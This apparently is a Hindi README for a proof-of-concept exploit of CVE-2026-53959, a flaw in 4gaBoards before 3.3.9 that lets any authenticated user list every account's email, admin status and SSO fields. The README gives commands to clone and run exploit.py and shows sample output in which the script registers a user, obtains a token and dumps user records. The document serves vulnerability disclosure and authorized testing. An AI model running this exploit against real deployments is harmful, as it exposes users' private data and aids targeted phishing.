
4gaBoards < 3.3.9 - उपयोगकर्ता सूचना प्रकटीकरण
इस रिपॉजिटरी में CVE-2026-53959 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) एक्सप्लॉइट शामिल है।
यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। इसका उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपके पास अनुमति नहीं है।
4gaBoards रीयलटाइम परियोजना प्रबंधन के लिए एक बोर्ड प्रणाली है। 3.3.9 से पहले, 4gaBoards किसी भी प्रमाणित उपयोगकर्ता को GET /api/users के माध्यम से प्रत्येक उपयोगकर्ता के खाते की जानकारी सूचीबद्ध करने और GET /api/users/:id के माध्यम से मनमाने खातों को प्राप्त करने की अनुमति देता है। users/index और users/show एक्शन केवल server/config/policies.js में डिफ़ॉल्ट is-authenticated पॉलिसी पर निर्भर करते हैं, और server/api/controllers/users/index.js अनुरोधकर्ता-विशिष्ट प्राधिकरण या प्रतिक्रिया स्वच्छता (sanitization) के बिना sails.helpers.users.getMany() का परिणाम लौटाता है। प्रतिक्रियाएँ ईमेल, फ़ोन, संगठन, नाम, isAdmin, ssoGoogleEmail, ssoGithubEmail और अन्य SSO-लिंक्ड ईमेल फ़ील्ड उजागर करती हैं, जिसमें व्यवस्थापकों का डेटा भी शामिल है। यह इंस्टेंस-व्यापी उपयोगकर्ता सूचीकरण, गोपनीयता हानि और लक्षित फ़िशिंग टोही को सक्षम बनाता है। यह समस्या संस्करण 3.3.9 में ठीक कर दी गई है।
| घटक | संस्करण |
|---|
| असुरक्षित | <=3.3.8 |
| पैच किया गया | 3.3.9 |
git clone https://github.com/anirbala98/CVE-2026-53959.git
cd CVE-2026-53959/
pip install -r requirements.txt
python exploit.py <base_url>
python exploit.py http://localhost:3000
└─$ python exploit.py http://localhost:3000
[*] Creating a new user...
[+] Registration successful!
[+] Retrieved Access Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjRjOTE1NzNmLTY5YzktNGQ5OS04ZWUxLWQ1ODZjNzZkNzAyZiJ9.eyJpYXQiOjE3ODcxMjExNzUsInN1YiI6IjE4NDQ5MDI5OTc5OTQyNDMzNTAiLCJleHAiOjE4MTg2NTcxNzV9.OwNTyxE-JS0pztbX4sLz0uzu3GjeyETNFQVbGVxzXxA
[*] Dumping user information...
{"items":[{"id":"1844837973439284230","createdAt":"2026-08-19T04:23:44.000Z","updatedAt":null,"email":"[email protected]","isAdmin":true,"isVerified":false,"name":"Demo Demo","username":"demo","phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":"2026-08-19T06:29:23.463Z","lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844837973439284230","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null},{"id":"1844902997994243350","createdAt":"2026-08-19T06:32:55.000Z","updatedAt":null,"email":"[email protected]","isAdmin":false,"isVerified":false,"name":"test","username":null,"phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":null,"lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844902997994243350","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null}]}
4gaBoards को संस्करण 3.3.9 या उससे ऊपर अपग्रेड करें।